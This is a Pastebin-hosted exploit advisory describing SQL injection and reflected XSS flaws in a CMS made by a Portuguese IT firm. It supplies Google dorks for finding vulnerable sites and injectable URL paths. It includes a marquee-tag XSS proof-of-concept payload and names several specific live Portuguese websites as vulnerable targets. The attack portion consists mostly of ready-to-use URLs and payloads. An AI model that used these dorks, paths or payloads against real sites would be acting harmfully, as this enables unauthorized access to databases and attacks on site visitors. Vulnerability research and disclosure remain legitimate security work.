KingSkrupellos

OneSource Consultoria Informatica Portugal XSS SQL Inj

Aug 22nd, 2019
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.25 KB | None | 0 0
  1. ###################################################################
  2.  
  3. # Exploit Title : OneSource Consultoria Informatica Coimbra Portugal XSS SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 23/08/2019
  7. # Vendor Homepage : onesource.pt
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Google Dorks : inurl:/index.php?target=showContent site:pt
  12. inurl:/index.php?target=home&defLang=
  13. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  14. Special Elements used in an SQL Command ('SQL Injection') ]
  15. CWE-79 [ Improper Neutralization of Input During
  16. Web Page Generation ('Cross-site Scripting') ]
  17. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  18. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  19. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  20.  
  21. ###################################################################
  22.  
  23. # Impact :
  24. ***********
  25. OneSource Consultoria Informatica Coimbra Portugal is prone to an SQL-injection
  26. vulnerability because it fails to sufficiently sanitize user-supplied data before using
  27. it in an SQL query. Exploiting this issue could allow an attacker to compromise the
  28. application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  29. A remote attacker can send a specially crafted request to the vulnerable application and
  30. execute arbitrary SQL commands in application`s database. Further exploitation of this
  31. vulnerability may result in unauthorized data manipulation.
  32. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  33.  
  34. Reflected XSS (or Non-Persistent) :
  35. ***************************************
  36. The server reads data directly from the HTTP
  37. request and reflects it back in the HTTP response. Reflected XSS exploits occur when an
  38. attacker causes a victim to supply dangerous content to a vulnerable web application,
  39. which is then reflected back to the victim and executed by the web browser. The most common
  40. mechanism for delivering malicious content is to include it as a parameter in a URL that is
  41. posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute
  42. the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL
  43. that refers to a vulnerable site. After the site reflects the attacker's content back to the victim,
  44. the content is executed by the victim's browser.
  45.  
  46. ###################################################################
  47.  
  48. # SQL Injection Exploit :
  49. **********************
  50. /event/event/content/index.php?target=showContent&m=Venue&id_pagina=[ID-NUMBER]&defLang=[ID-NUMBER]&event=[SQL Injection]
  51.  
  52. /event/event/content/index.php?target=showContent&m=Venue&id_pagina=1&defLang=1&event=[SQL Injection]
  53.  
  54. /event/event/home/index.php?target=home&defLang=[ID-NUMBER]&event=[SQL Injection]
  55.  
  56. # Cross Site Scripting XSS Exploit :
  57. ********************************
  58. /event/event/content/index.php?target=showContent&m=Venue&id_pagina=1&defLang=1&event=
  59. 1%27<marquee><font%20color=lime%20size=32>XSS-Vulnerability-Found-By-KingSkrupellos</font></marquee>
  60.  
  61. ###################################################################
  62.  
  63. # Example Vulnerable Sites :
  64. *************************
  65. [+] cmm.pt/event/event/content/index.php?target=showContent&m=Venue&id_pagina=1&defLang=1&event=1%27
  66.  
  67. [+] cmm.pt/event/event/content/index.php?target=showContent&m=Venue&id_pagina=1&defLang=1&event=
  68. 1%27<marquee><font%20color=lime%20size=32>XSS-Vulnerability-Found-By-KingSkrupellos</font></marquee>
  69.  
  70. [+] adai.pt/event/event/content/index.php?target=showContent&m=Venue&id_pagina=1&defLang=1&event=1%27
  71.  
  72. [+] spcal.pt/event/event/content/index.php?target=showContent&m=Venue&id_pagina=1&defLang=1&event=1%27
  73.  
  74. [+] fcdef.uc.pt/eas2018/event/content/index.php?target=showContent&m=Venue&id_pagina=1&defLang=1&event=1%27
  75.  
  76. ###################################################################
  77.  
  78. # Example SQL Database Error :
  79. ****************************
  80. SELECT id_event FROM event WHERE id_event = 1'
  81.  
  82. ###################################################################
  83.  
  84. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  85.  
  86. ###################################################################
Advertisement
Add Comment
Please, Sign In to add comment